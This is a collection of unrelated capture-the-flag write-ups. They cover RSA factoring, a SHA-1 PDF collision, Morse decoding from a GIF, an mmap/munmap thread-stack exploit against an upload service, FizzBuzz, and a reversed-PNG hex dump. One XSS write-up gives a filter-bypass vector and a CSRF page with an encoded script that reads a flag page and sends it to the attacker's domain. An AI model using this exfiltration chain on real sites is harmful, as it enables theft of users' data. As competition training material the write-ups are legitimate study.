```BASHsha1sum a.pdf 9895a12be3429d4ca69835aad36527664ed952e5 a.pdf
sha1sum b.pdf9895a12be3429d4ca69835aad36527664ed952e5 b.pdf ```
Nous les uplodons sur le site et flag !
THCon{ST0P_US1nG_Th0S3_l4m3_H4SH_FuNCTIONz}
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
# EasyCTF - RSA 2
In this challenge, we are asked to decipher an RSA encoded message.We are given N, e and C.
N looks quite small, so there is a chance it has already been factored online.Using https://factordb.com, we find that `N = 338779901332693957541 * 381858611614052422763`.
There goes the rest of the challenge:
```python#!/usr/bin/python
import gmpy2
p = 338779901332693957541q = 381858611614052422763e = 0x10001c = 41786000149048295568588665335025364614298
phi = (p-1)*(q-1)d = gmpy2.invert(e, phi)m = pow(c, d, p*q)
print hex(m)[2:].replace('L','').decode('hex')```
The result is `flag{l0w_n_0868}`. |
正在觀察網頁並開啟DevTools，你會發現 movie.gif正在快速的閃爍，並且間隔之間的黑白有些微的偏差，所以我們試著轉換成0和1“
```from PIL import Image im = Image.open(`'`movie.gif') w, h = im.size res = ' ' try: while True: i = im.convert('RGB') res += '0' if i.getpixel((0, 0)) == (0, 0, 0) else '1' im.seek(im.tell() + 1) except: print(res)```
”得到結果 result.txt並run以下腳本“```s = open('result.txt').read().strip()s =`` s.replace('00000', ' ') s = s.replace('0000', '-') s = s.replace('000', '.') s = s.replace('1', '') print(s)```
”得到摩斯密碼並解密：HACKCONMORSEFLAG |
Challenge: RSA 2 ----------------------------------------Category: Cryptography ----------------------------------------80 points ----------------------------------------
```Description:
Written by neptuniaSome more RSA! This time, there's no P and Q... this.
Hint: It's like RSA 1 but harder. Have fun!
File = ciphertest2.txt
n: 266965481915457805187702917726550329693157e: 65537c: 78670065603555615007383828728708393504251```
```python#!/usr/bin/env pythonimport libnum
"""C:\Users\Ne0Lux-C1Ph3r\Downloads\yafu-1.34>yafu-Win32.exe factor(266965481915457805187702917726550329693157)
fac: factoring 266965481915457805187702917726550329693157fac: using pretesting plan: normalfac: no tune info: using qs/gnfs crossover of 95 digitsdiv: primes less than 10000rho: x^2 + 3, starting 1000 iterations on C42rho: x^2 + 2, starting 1000 iterations on C42rho: x^2 + 1, starting 1000 iterations on C42pm1: starting B1 = 150K, B2 = gmp-ecm default on C42ecm: 30/30 curves on C42, B1=2K, B2=gmp-ecm default
starting SIQS on c42: 266965481915457805187702917726550329693157
==== sieving in progress (1 thread): 848 relations needed ======== Press ctrl-c to abort and save state ====702 rels found: 420 full + 282 from 2810 partial, (11777.70 rels/sec)
SIQS elapsed time = 0.3393 seconds.Total factoring time = 0.9532 seconds
***factors found***
P21 = 458070420083487550883P21 = 582804455845022449879
ans = 1"""
n = 266965481915457805187702917726550329693157p = 458070420083487550883q = 582804455845022449879e = 65537c = 78670065603555615007383828728708393504251
n=p*qphi=(p-1)*(q-1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, n))
#flag{l0w_n_0eb6}```
|
# UploadCenter
Author: meh@Hitcon
### Description ```There's an upload server here.Upload whatever you want.nc 202.120.7.216 12345
binary```The main functions:```1 :) Fill your information2 :) Upload and parse File3 :) Show File info4 :) Delete File5 :) Commit task6 :) Monitor File```We can use **upload** function to upload a PNG image which is compressed with zlib, or delete it. **commit** will create a thread and show the info of uploaded files. **monitor** will create a thread a thread to notify when a PNG is uploaded. I directly took a PNG generator made by my teammate Jeffxx which was used in codegate qual. ;)
### Vulnerability The upload function is something like this:```c//...readn(&size, 4);infstream.avail_in = size;infstream.next_in = g_inputBuffer;infstream.avail_out = g_BufferLength;infstream.next_out = g_outputBuffer;inflate(&infstream, 0);length = g_BufferLength - infstream.avail_out;//...img = mmap(0, width*height, 3, 34, -1, 0);pngobj = calloc(1, 0x30);pngobj->content = img;pngobj->length = length;//...```But the delete function does: ```cmunmap(pngobj->content, pngobj->length);```We can see that the size of mmap is **width*height** and munmap is **png length**. Apparently the size of **mmap** and **munmap** is mismatched.
### Exploit * mmap a png upon outputBuffer I realized what this challenge want immediately. Because **pthread** uses mmap to prepare stack for threads, and we can use this uaf vul to overwrite the return address of thread. mmap pages usually located the tls section if the gap is big enough, otherwise it will find other gap above which is available. But the gap upon tls is not big enough for a thread stack (generally 0x800000 with a protect page), if we put our png there it would be hard to exploit. As a result, we first upload a pretty big PNG to make the mmap page upon outputBuffer (mmapped when the program start, it is bigger than the gap above tls so is located upon library pages). Make memory layout like:
``` +------------------+ | binary | |------------------| | // big gap // | |------------------| | png | |------------------| <- g_outputBuffer | | | outputBuffer | |------------------| | libs | | & ld | | & gaps | | & tls | |------------------| | stack | |------------------| | | +------------------+```* munmap the png Then we can munmap the png with a larger size, so that part of output Buffer will be unmapped too. ``` +------------------+ | binary | |------------------| | // big gap // | | | |------------------| <- g_outputBuffer |#### unmapped ####| | outputBuffer | |------------------| | libs | | & ld | | & gaps | | & tls | |------------------| | stack | |------------------| | | +------------------+```* Create a thread After that, we create a thread for monitor. ``` +------------------+ | binary | |------------------| | // big gap // | |------------------| | thread stack | | | <- g_outputBuffer |------------------| | outputBuffer | |------------------| | libs | | & ld | | & gaps | | & tls | |------------------| | stack | |------------------| | | +------------------+```
* Upload PNG and overwrite return address to ROP Now the outputBuffer and the stack is partially **overlapped** (The pointer points to somewhere inside the bottom of thread stack). So we can overwrite return address by uploading a PNG, then do ROP to leak libc and stack migration to ROP again.
Something need to be noticed is that when two threads are both reading a same fd, the input will be receive by one thread **not in order**. It only depends on which thread is served at that time. (just my observation, not very sure) After observing remote server, we found that the main thread is always the first, so we sent a newline before payload to solve this problem. |
Challenge: Fizz Buzz----------------------------------------Category: Programming----------------------------------------50 points ----------------------------------------
```Description:
Written by wiresboy
Write a program that takes an integer n as input.Output the numbers 1 through n, in increasing order, one per line.However, replace any line that is a multiple of 3 with Fizz and any that are a multiple of 5 with Buzz. Any line that is a multiple of 3 and 5 should be written as FizzBuzz.The input will be the number of lines to write, n, followed by a linebreak.
Sample input:
17
Sample output:
12Fizz4BuzzFizz78FizzBuzz11Fizz1314FizzBuzz1617
no Hint!!!!```
```python#!/usr/bin/env python
n = int(input(''))
for x in xrange(1, n+1): fizz = not x % 3 buzz = not x % 5 if fizz and buzz : print "FizzBuzz" elif fizz: print "Fizz" elif buzz: print "Buzz" else: print x``` |
Challenge: My USB----------------------------------------Category: Forensics----------------------------------------150 points ----------------------------------------
```Description:
Written by neptunia
I found my usb from a long time ago. I know there's a flag on there somewhere; can you help me find it?Hint: Sorry, no hint.
File = usb.img```A small blow of Foremost!!!!!
|
This task is XSS filter with allowed characters : ```a-zA-Z ~|_^\=<-+*```
For attack we use this DOM-based vector: ```<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id```
It will redirect to our controlled domain https://12345609861router.vip/1234/($12.95 + Let’s Encrypt)
It has index.html with csrf in this directory.```<html> <body> <form id="send" action="https://router.vip/preview.php?" method="POST"> <input type="hidden" name="task" value="" /> <input type="hidden" name="payload" value="<svg onload=location=name" /> <input type="hidden" name="geetest_challenge" value="" /> <input type="hidden" name="geetest_validate" value="" /> <input type="hidden" name="geetest_seccode" value="" /> <input type="submit" value="Submit request" /> </form> <script> window.name = "javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d"; document.getElementById("send").submit(); </script> </body></html>```
This vector set window.name with javascript:XSS payload and POST request on preview with ``` |
Challenge: QR 1----------------------------------------Category: Forensics----------------------------------------100 points ----------------------------------------
```Description:
Written by wiresboy
I just saw this QR code the other day, but couldn't tell what data it has. Can you help? Here it is.
Hint: Is the image only black and white?
File= qr1.bmp
```
|
Challenge: Scisnerof----------------------------------------Category: Forensics----------------------------------------70 points ----------------------------------------
```Description:
Written by neptunia
I found weird file! elif
Hint: Did I put this in the wrong category? File = elif
FileAlyzer to hex
82 60 42 AE 44 4E 45 49 00 00 00 00 B0 B4 26 3B ED B0 17 2E 1F FB FE FF 96 1E 21 08 42 63 24 60 78 84 21 09 8C 91 81 E2 10 84 26 32 42 CD 86 96 B9 3F D8 A6 E2 10 84 C6 48 29 8E E5 E9 86 99 3D 3D 3C A6 E2 10 85 13 A8 B9 8E E5 E8 A6 E2 10 84 C6 48 B9 8E E5 E8 A6 E2 10 84 C6 48 89 8E E5 E8 D6 E2 10 85 07 A8 89 8E E5 E8 D6 E2 10 84 C6 48 C3 F5 15 FA 60 A8 07 71 08 42 7D D4 2E C4 93 00 C5 6D 20 77 10 84 26 32 41 1C 77 2F 40 61 A6 CF E7 F3 E0 77 10 84 26 32 41 4C 77 2F 41 F7 10 84 27 7D 41 4C 77 2F 41 F7 10 84 26 32 44 77 1D CB F3 57 8D DC 42 10 98 C9 01 9C 77 2F FA 3C 6E E2 10 84 C6 48 7D C5 13 AF 67 BF C3 77 10 84 26 32 44 D8 9C 20 FF 12 7B 88 42 13 5E A2 6C 4E 10 7F 89 4A F4 FC 2F 97 CB E6 A7 10 84 C6 48 45 EB 56 EB C0 C3 4C 52 BD 26 34 90 5C 2F F9 7F 7D 74 81 49 C4 21 31 92 12 21 DC BF 1D 84 9F 93 6F 45 A7 A7 A7 D8 3D EC 8E 9C 42 13 19 23 DB C5 13 F4 7C DF 3F F8 A5 78 B4 E9 0A 30 EB 42 CE 21 0B EC 91 1D E2 89 E8 3F 23 DA 60 21 98 8E DF E1 2E A9 FA 21 09 7A 96 1D 25 7F 7E 63 22 1D CB FF 46 CF 60 F7 D2 C9 22 06 69 E7 49 36 21 09 26 9D 47 8B F2 98 17 CC 2B 5D CD 9E A6 C6 58 AD B8 7E 8A BE 91 B3 6E F9 37 8B 06 03 44 21 09 E6 3A 79 FC AC 34 0C 7B E6 66 CF 73 64 AF D2 73 B1 5B FD 3F 63 A9 16 2E 17 EE 2C 18 0D 10 84 21 99 6D 0F 2B 01 92 DC 2B A6 2D 64 A9 49 CF 80 B7 F3 A7 EC 75 22 C1 DD 60 4F 45 C2 3A 51 D0 8E E2 A6 F6 21 E0 94 BB FF 4C E6 2E 41 A3 EC 4E B7 B1 92 AE 57 2D FB 3E 5E 51 67 A3 30 10 AD D5 64 0A 80 7F 89 B3 B4 99 94 DB 25 1E 90 7A F0 13 2B 09 3D 79 2D C9 17 08 E9 47 41 A8 85 42 C5 14 1C 7B 94 C7 1B C4 7C E2 D7 80 60 F6 19 07 EC 9F 4C FD B9 69 BF 46 A0 17 5E 72 8B 48 FB 5F B6 3B 1B 01 6F CF 4C C9 6B 25 51 81 8C A0 3C AF A0 86 2E 53 70 6F 6F 98 08 E2 BA FF 94 42 FC 6F E2 81 E1 9B D2 65 A1 F8 F0 3F 64 C4 5A 45 BF FA 5B BB 62 58 42 81 1A 75 9C DC F1 1E 8A DB CC DB EA A6 33 42 C1 63 23 4E ED 0D BA F0 0A 9C C4 B7 11 CE F7 72 27 89 6F CA B2 25 E5 FC 54 42 FC 47 5C FC B9 BE B0 B1 8D 4D F6 7A 43 37 A4 CB 43 F0 80 61 65 2D D4 81 F8 F4 9E 68 6B D6 C4 CD 96 62 AA 1F 1C 40 C0 55 45 B4 99 08 2F F8 73 CC F6 06 65 2B B8 41 ED 57 EB 17 8E 85 83 1D B3 76 86 DD 78 0D 63 60 D5 E2 39 D3 D5 C8 D5 2C F5 B0 BC 4D D6 59 AC 12 9F F4 41 1A EB C2 5E 4E D7 38 EF 27 C1 35 F6 87 3A 59 1F 62 AA B3 9B EB C0 03 30 2A 4C 65 98 E4 8A 7F F7 D9 2A C1 29 16 78 F5 46 5E A6 41 D1 99 BF EF FB FB BD DE E2 C7 7D DF 77 ED 38 7B 4A 03 32 6B 47 7F 75 B7 96 2F 1D 0B 2C 7B 66 ED 33 F8 75 C8 E1 66 F3 CE B8 FB 16 AB 0D 5B 19 82 9F 29 C7 E3 0B DE B2 96 67 46 0F A3 19 D6 61 A8 D0 1A 93 02 E0 1F 0F CE EC 8E B6 87 71 E3 29 D1 83 18 A9 2C FD 1C 3D 98 B4 2A 94 B4 B4 A6 53 3D D5 87 F1 44 59 70 2D 82 37 98 5F 97 E5 FD 7E B6 7F F8 1E DC 3B 6F 2C 5E 3A 16 58 F6 CD 1A 39 A3 FE 88 B1 07 F1 4D 92 90 D8 6C 35 31 5F 59 2A 9F CF D0 BD EB 29 66 74 60 E0 31 1D 2C 84 DF 63 76 AC A2 A1 96 AD 90 2C A6 C5 19 B1 9A 04 06 59 A2 74 0C 45 FF B8 A9 2C E6 FA F0 06 CC 71 3C 65 93 FF B2 B3 12 7E 50 D0 1F 05 C6 64 84 65 D5 21 DE EC C3 58 65 3D B8 76 DE 58 BC 74 2C B1 ED 9A 34 4F AC 5C D1 FC 22 C4 1F C5 30 F5 B3 BC 0B AF 01 12 D6 33 65 E8 1F C2 B3 97 9A B2 17 BD 63 AC 10 D6 6A EB 05 95 55 9E C0 78 8C F9 7A 34 1A D4 C9 09 80 BB B4 AC E9 B1 32 B1 48 CD 29 3E C5 AA 87 29 5F 5A 09 3A 37 89 2B EE B3 91 AF D8 AF CC 5A 40 1F 5A 34 41 0E 20 CF B5 2A C9 5D 26 19 C5 F9 71 98 17 D9 93 FC 27 E3 57 54 9F 67 3D 7B 20 7C C7 6D E0 44 F8 E8 58 0E CD 81 01 B3 48 FB C5 AE 69 31 12 5F 7E A1 D3 EE 22 93 27 A0 8F 2B 97 3E 12 F7 CD 9D E6 1B B5 26 58 CD 6A 2A 29 AB 21 7B D6 9A C3 F7 4E B7 70 1F E0 1E 97 8B 4B DC 01 33 AD 2B EC C7 78 AD 19 A3 EF 1D C4 F6 08 2C E1 58 80 E0 B3 F8 E5 95 98 A5 27 73 42 CE 94 D3 8A FC C8 3F 67 81 D1 A0 0D 5B 4F CA 55 9B 15 AB CC 8F 0D 51 9D 5D A7 70 C6 A9 0E CE 7A F6 09 58 B3 C1 8E B2 99 BB AF 01 32 B1 C7 3D 17 54 65 99 D5 4F AF 16 9F 96 6F 05 5F 98 67 1A 6B DD 78 D2 85 0F 47 7C 6C B2 1B 83 84 F7 98 68 D4 98 E1 52 F1 98 8A B5 35 60 CB D7 80 5D 58 59 AA AB C5 B6 A4 2E 93 25 CD F8 09 9D 69 5D E6 00 58 DC BD 3A F1 36 EB C3 4E 4F 18 B7 DA D1 CA 72 B3 68 60 79 DC B2 06 32 35 F1 A0 7C 26 D8 0F 0C C4 D9 5C AD 1A 00 D5 B4 FC B9 2E F3 2C 51 A2 D0 0C D8 34 21 64 C6 5D 81 2E C7 3D 7A 5B 23 ED 30 BE D8 AD FA 65 E3 89 61 C7 3D 17 54 F7 84 3A D3 56 C3 42 B3 FE F1 D3 61 09 1F 59 59 E9 E8 78 7F 56 18 18 27 8A 64 BF 5E 00 A5 9C 2A A8 DE B5 35 63 AB EB 65 61 BB 6D A0 74 98 7B 41 67 A4 94 35 47 0C C1 CF 31 D8 35 47 D4 98 EA F9 02 8A 6C 06 14 22 C9 58 46 4C EA CB 1C 1D 8D 83 02 74 CC DB 85 65 71 99 80 43 66 8E CF 5A 0D 79 9E 6E E5 EF 32 08 C6 A3 41 97 57 6C 89 45 9E DC 01 8A D8 33 2A 52 23 EB DD 93 0C 20 18 16 E6 D3 D9 95 77 12 CB 4E A9 EC C1 AC E3 88 94 60 F4 F0 6B 01 86 BA 60 3F EF 34 A3 B3 DF FC C8 B1 8E FC 6F B0 F7 14 4B 78 83 32 1C 66 F3 18 6A DA 4C 70 AF 09 5B F7 28 87 7B 35 D9 4B 05 BA 0E 45 C7 B1 F8 FC 7C 0D B5 21 7D 78 05 96 6B 7B D6 C6 66 0F 02 BE BC 00 4A C0 28 47 37 0F 34 8C 81 4F B1 0A F0 91 AD D5 98 02 7D 78 2B 88 E9 6C 88 EF 99 55 58 24 71 22 C2 E7 41 AF 32 65 03 5C F8 72 4C B7 2F 0D 42 1C 7B 7F 01 8A D9 EB 64 7C 3D 77 F9 3F 5D 1E 6D F2 E7 AE E7 78 23 31 DC AC D9 06 76 CC 05 49 96 71 F1 B3 D7 93 71 49 E8 77 65 31 CD BC 19 86 96 66 EA 4C 0B A3 4C 3D C6 5A 75 44 B8 09 4F 66 F3 12 F8 6E BC 59 70 CC 5D 65 1B DF 0C 95 19 58 8B 09 50 63 FA 41 A4 C0 96 5E 33 36 7A 51 3E F3 F0 BF E2 BD 4C 4B 9B 2E C6 EF 65 2C 37 62 14 D2 DE 1E 76 08 F1 84 89 FA 86 EE CC D8 07 17 26 24 E7 78 55 BD EC 66 59 B9 A1 72 93 96 3B C5 3A 6C 90 5A 98 BF AF EB FA CA 40 08 05 D2 63 21 81 88 A5 2A 68 60 C0 E4 A5 4E F7 3B C1 28 8E C6 64 09 D6 C6 A3 9F 45 05 61 E4 60 EC C3 78 5A FE C2 77 AC 8D 6B C7 7A 26 3E D9 57 FA 24 0A 2B 69 5A 30 B8 B4 1A D4 C2 5A F4 87 03 12 20 9E 9B 5E 60 CC BB 02 5D 86 6C A7 F3 04 AA 91 2D 16 71 FE F0 E3 49 9F 32 D6 88 07 C4 A1 F4 B8 C6 13 B5 26 36 55 49 CA 6E EB C0 1C AC 0E FE E2 B5 E7 B1 E6 8F A9 F7 76 66 C0 16 03 9D 9E 20 9F 1D 2A 7E 0E 96 9F DA 22 42 18 B5 A6 DA 98 25 65 AA FA AA 44 52 0E EB C0 03 30 2A 4C B7 ED FB 7D 57 9D 37 AB 5D 68 38 2C 3A F1 E8 26 B9 41 67 7B CD E0 94 47 6B 9E 02 34 FC A4 07 2E 0A C3 C8 C1 D9 BB 48 68 CD 8E D9 8B BC 02 5A A1 8A FD 13 16 F6 69 8F 10 2C E8 18 6B C5 18 C1 55 0B 8B 4C 3D 9D 25 8D E9 D1 F5 E6 2A D1 A2 F3 19 80 57 5F 15 52 25 A2 DE E6 07 D6 88 61 13 33 C7 E5 0B B8 04 4B 35 2B 64 E2 29 4C AA BC 2B 9E 61 8D 94 DA 60 0C 13 96 BF 88 D0 58 4D CB 0E BB 40 1B 43 AD EB 42 53 69 CB 43 40 25 6B 02 17 B2 60 EC D8 F6 AF 81 E0 F4 8B 75 30 AE 33 06 3A 52 72 F3 0D 11 EC C0 54 98 0B 96 C1 A0 75 4C AF A0 6C D9 F9 F9 F7 9E 26 75 68 20 03 2A 87 B1 CA 58 35 4F C2 F9 7C BE 34 AC C1 1A E0 E7 5B A6 CC 2D 02 4D 26 05 C5 A5 B4 C1 03 01 2D 44 97 55 3B 93 13 14 DD 12 4B 78 40 A7 A6 DD E1 8A 3D C1 CA E2 D0 28 5C E8 6F B7 D9 0A 7E 0B 19 77 98 AB 46 8B C9 66 16 9F CF C4 DD BE 8C C4 58 5B AC 7A 68 6D A9 8C C2 07 7D 14 4C F0 7F 93 2A 5E 15 C2 D0 97 A3 44 B9 B3 1C D6 A8 A3 A8 2C FC F1 9B B4 54 F1 D4 68 EF A2 CF 41 00 2E B2 32 CB 33 26 DC 0D F6 33 56 94 1F 85 BA 98 08 17 C0 61 AE 38 F1 79 56 ED D9 84 BC 66 1F E7 F9 FE 06 43 F1 E7 55 99 DA A2 EF 5E 02 05 6C DA B6 3F 1F 8F ED 45 81 D2 96 28 7F A5 C3 6D 94 83 C0 36 3A D0 94 4C 7F 1C 2F B3 22 02 B4 16 73 AA 72 4B 42 5F 54 DF 47 6B 4D C8 81 71 36 EF 13 AE 07 89 E3 66 A2 EC 56 95 A4 23 79 87 88 82 B6 F3 15 68 D1 78 CC C2 DE 19 A4 3D B7 D1 98 8B 05 B9 67 0A 19 B9 4E F7 07 CB 04 AD 6F 0B 2F 76 80 5D 9E 26 6E EA 83 18 51 61 41 60 07 D7 80 96 61 92 EF 78 82 BC C0 04 CE 51 96 59 98 33 49 9B 87 E2 B8 CC 87 26 92 9F 8B 02 86 7F 1F 57 77 98 68 A7 49 FB 45 A3 25 02 C8 7E 20 F5 B5 9A D2 97 B5 42 9C C9 55 A6 32 34 69 CF A0 92 D0 7B 1B 99 D5 28 38 5D E6 44 06 A8 34 A5 B2 93 71 78 EF 2A 73 35 DD E4 0A 9D 28 DC 0D 6A 2E BE E4 69 9F 3C 72 77 CE 9F C6 8D 01 A9 31 8A DF 95 68 D1 79 19 1A E2 36 04 7B 7D 19 94 B0 5B A0 E1 8A D9 04 42 1F D5 6F 9F B8 3E AA 65 55 E1 45 D6 8A 86 19 E8 F4 CD DC AA 2C 28 2C 00 FA F0 12 CC 5D EC F5 53 D2 0B 53 06 4E CB D2 7E EC 4D 8C 43 50 9A 1B BF 5F B2 33 59 37 A4 3A 55 21 26 D9 86 A2 62 AE 2E C6 C2 59 0E AF 67 A4 AA 3D D3 65 CE 4F 7D 4C 64 74 D2 65 9B A1 88 12 F2 1F 03 B5 38 A4 AE 33 07 54 C8 80 B2 63 63 AC 8E 49 87 3C 2A 6A 50 2A 74 4F 7C 48 E3 05 E0 33 30 D8 7C 08 1F 26 07 40 FA 93 24 FB CD B6 1D 98 61 30 33 72 C0 CF B4 64 59 2C 92 51 DF C4 76 71 F1 62 C8 B7 55 19 86 A7 6C 5C 51 67 EC 5D 78 92 6B FF A5 46 0D 9B 66 85 16 14 16 15 6E 3A 0E 9A 74 EB E8 B4 1F 08 22 46 A3 E2 6C 13 98 C5 AC 7A FB 5B 17 E4 1C BF F5 01 B3 26 4E FB F7 FB FD E6 71 AA CD DF AC 34 C8 AB 36 CC DF 76 E6 F3 F3 F3 FB 3C 00 B8 87 13 77 2F 40 89 38 F7 D1 68 AF A0 81 80 96 A2 A0 59 2F 23 95 C6 60 E4 99 2F AF C4 DD 8E B2 6C 34 5A 60 D0 0B AF 01 1B B2 F6 B1 D9 2D 4A AD 4B 81 FA A6 97 A6 80 81 2C 63 70 D2 4C FE DF D1 57 7E 77 8D 53 FE F0 21 ED 4F C9 70 CF D7 F8 3D D9 E8 39 C7 DB 7B D9 C3 D5 A2 42 BB 15 43 E3 81 EA 74 FA 0C 5A 52 B0 A0 B0 49 6C F7 61 8E DF 6F E1 C6 74 32 B0 1E 4C 43 50 99 E8 CC 34 B4 F5 2F 0E FF F6 50 76 A6 07 4D 92 5B CC B5 38 96 07 A7 1F BB B3 38 E6 B7 9F 81 3C F8 2D 0C 14 66 7B 35 D6 82 DE BC 00 33 53 5D E7 A1 FB B6 77 98 D3 1D F7 C4 1A 9B 5E 9A 09 0D A0 56 E9 C1 FD B8 8D E8 19 86 8F 66 77 6A 7E 40 E9 77 D6 07 BB 3C 53 0A 6D A1 4E 1E E2 7B 4A 72 84 CD 26 7B C1 F7 5E 00 55 6A 1D C5 45 63 C3 D3 43 3C 74 6F 11 DA D3 A7 40 BE 9E 85 E9 6C 60 3C 99 8B 0D 7D 8C A0 E5 FA 46 69 78 76 0F 9D 63 1A 28 AD 78 E4 98 DE 65 A9 C4 B0 A3 1B E8 5E 61 2F 19 8F B1 96 6E 68 65 5B C9 CA EF 77 8C C1 C9 30 CF 7C 53 33 D0 03 30 0B BD AD 06 6B 14 07 EE DC DE 18 92 D5 AA B5 6D 4D AE 1B C6 62 9D 6F E0 06 4A C7 58 EA A8 F0 19 4F 37 F9 65 0C 2A D8 53 F0 96 97 1D B3 66 82 77 68 6D 49 96 3B E0 99 82 73 DE 3E 2B FD 16 A7 2F 72 CD 23 3D 98 67 43 33 9E 37 1C B4 5A A5 07 E2 3B 1B 18 0F 26 62 05 3D DE AC 65 D2 56 49 CA 0C 1E DE 65 A9 C4 B2 C7 AA 7B 32 F7 5A CF 4B 43 A6 7A 27 CF 71 6F DF 63 2D 36 01 84 27 3A 6F 3F 92 A3 B0 EC C0 FD DB FB C2 6C 96 AD 55 B2 F7 1C A4 A0 56 C8 EA 3C B4 65 0B 99 55 AB 69 F8 4B 4B 8E D9 81 30 4E ED 0D A9 30 15 35 AC 74 03 B3 1B D3 5D DA 03 D6 92 E4 97 89 68 A5 C1 CB 66 B5 20 A8 D8 AD 91 82 F4 60 3C 98 86 20 59 82 78 96 61 03 D4 F6 60 29 4A A8 CC 67 CB 1A E2 79 65 32 C0 2E 93 2E 52 12 8C 69 51 74 34 AC 1F 0F 87 E9 50 7E 53 A3 54 98 0C 5E 25 E3 30 AE A5 EE 31 59 8C DC 71 00 15 B6 55 69 AD 3F 33 69 71 DB 30 26 09 DD A5 5C B1 DA DB 0B 99 E1 3C 1C 64 2B 46 45 56 4A E8 D6 9A C4 B9 B0 6B 49 80 5B E4 B0 1E 4C 20 F1 6B C0 40 AC 7E ED F7 EB 55 02 2A 83 D1 9F 28 14 CA 7F FC 38 E6 1F 71 EA B3 14 A4 E8 32 D0 62 4E 57 B5 A9 26 E5 13 3A 4C 32 B6 11 54 95 37 98 00 FB 66 DF 0F DF 5E 01 99 AA E5 FE 8A 9C A6 20 9E 43 CA 1A 10 28 77 8E BD 8A DF 98 0F 26 34 7A E0 53 8B 04 3D BE 9D 9F 24 31 99 0D A6 95 01 AF 66 27 D3 E9 F8 D6 AB 25 6E C1 88 38 CD 8E D5 F0 44 6D D5 23 BF 96 BC 4A 9B CC 13 9B 7C C8 60 9D 1A 2C 8D 48 83 57 2F C2 77 12 4C 42 27 F3 01 FC C2 0F 16 BC 01 B3 52 93 E3 19 E9 21 57 FA EA BE DD 7B CC C4 0D DB 08 4C 6D F2 9C EB E4 77 19 80 68 CC 6F DB F6 FC 61 C3 4A D8 59 3F 4B 0D 98 CC 3C 63 59 8F 5F 6C FA 91 3D 01 3B 19 20 BE 8E E2 C0 80 7E 63 47 B6 3B FA 46 83 5D 99 4A 8A 71 BE 56 3D 1B 7D 8B AF 71 CD DB 85 3D 18 4F 07 57 C5 75 4B 61 A9 56 C3 39 CD 98 CC 3C 63 59 8F 5F 6C EC D0 E7 A7 2B D8 C9 00 88 D3 5E 67 64 AC 53 88 0F A2 2C B8 36 3B 2B 32 25 FC DB B0 D4 B8 4C FF D3 18 76 0C FF 3F CF EB 61 3C F2 F5 E3 66 33 13 63 2A F1 9A 7D 99 9A D7 ED 18 38 41 BD 8C 9C DE 02 BC D5 1E 6D E9 C5 37 27 A0 06 A1 DF 66 E0 D8 E6 AC 20 9E AC 66 07 7E 61 AE 98 18 09 6E F9 DF 09 CE 75 20 2C 66 00 77 EF 64 DE E9 30 17 2C 52 28 0D CA 1F 0F 87 D3 3D F4 8A 9E 8A 74 B6 DA D3 33 0C 64 E6 F3 33 88 5A 1D 6C EA DF 46 B2 04 EC DA BD BA C7 1D 64 D1 BA 58 DB 6E FB 26 05 73 13 9D 6F F8 AE 80 C9 D2 61 CE F8 05 D4 C1 29 35 88 75 53 AC B6 7F 9F E7 EC 25 7C A9 9E FF 87 58 FF B6 CE DB 5B DF EF F7 D0 74 A7 9E E8 87 C4 B3 0E 26 32 40 AC D2 27 58 AA C9 81 6A C8 55 8A 78 84 78 EB 03 5D 4C 12 93 58 04 E9 32 08 C0 FE B4 EA 7A D4 FA 7D 3F E4 4E 76 F0 38 BF C2 A7 59 60 4E F3 69 4D BC 26 C8 7C D3 10 3C 42 51 AC FD 2C 36 75 30 0A D6 FF 8B 75 97 8A C1 D9 60 4C DE 37 7E 27 3D 2D 5A 8E B0 35 D4 C1 27 FC C1 27 E2 0B 3A 9E B4 D5 EE 06 13 EC 84 0C 9D E6 1E 6F 96 94 3E 69 81 6F 15 C1 E2 FA 58 5A 83 70 17 53 1B 6B 3C FD 2D CC 46 0A 5A EE 4A EA C1 AE A6 27 73 23 9A DB 3E 7E 7E 78 FE B0 14 C4 82 CF AB 05 AA BE C8 80 5A 64 1C 43 89 7A 07 CA C5 AE AF 85 09 56 E9 61 7A D6 07 E1 F8 7F E8 11 CF CC DC E3 35 64 7F 1F C7 E1 AE A6 01 37 1F C6 EB C5 F9 3D 5D A4 B6 44 02 D3 08 E2 61 F6 AF 8F C5 AB AD 26 F9 56 D2 C0 48 A8 12 53 74 BB 90 48 58 86 B4 98 9B 8F E2 93 89 8C 91 C6 21 54 C6 1A 08 AB 2B EA FA BF DB A3 CF 69 60 BA 2C 09 56 1B 6F 4C 4B 0D 4E 95 46 09 16 48 52 91 DB FA B7 18 A4 A4 E2 63 24 01 C4 C0 49 95 87 1E 19 2B 56 9E 9E 9F DA AD 1E 6D BC 21 D0 CC 04 91 DB 9B 23 5F AF 2B FA FE BF CF CF CF EF FB FE FC BC E2 63 24 3E 88 4F 32 FF BF EF FF 7F DF F7 C2 F2 AC D7 F5 FD 7D E6 9D 9B 92 15 53 4D E2 13 19 20 68 85 4D 13 F4 FD 3F 19 80 96 E7 F3 F9 F1 BB 88 42 63 24 0D 10 91 A2 7A 7A 78 96 02 94 CE E2 10 98 C9 03 44 2D 99 12 25 C0 E7 79 BE 6F 9B E3 F8 FE 3F 82 9C 42 13 19 23 03 C4 21 08 4C 64 8C 0F 10 84 21 31 92 30 3C 42 10 84 C6 48 C0 F1 08 42 13 19 23 03 C4 21 08 4C 64 8C 0F 10 84 21 31 92 30 3C 42 10 84 C6 48 C0 F1 08 42 13 19 23 03 C4 21 08 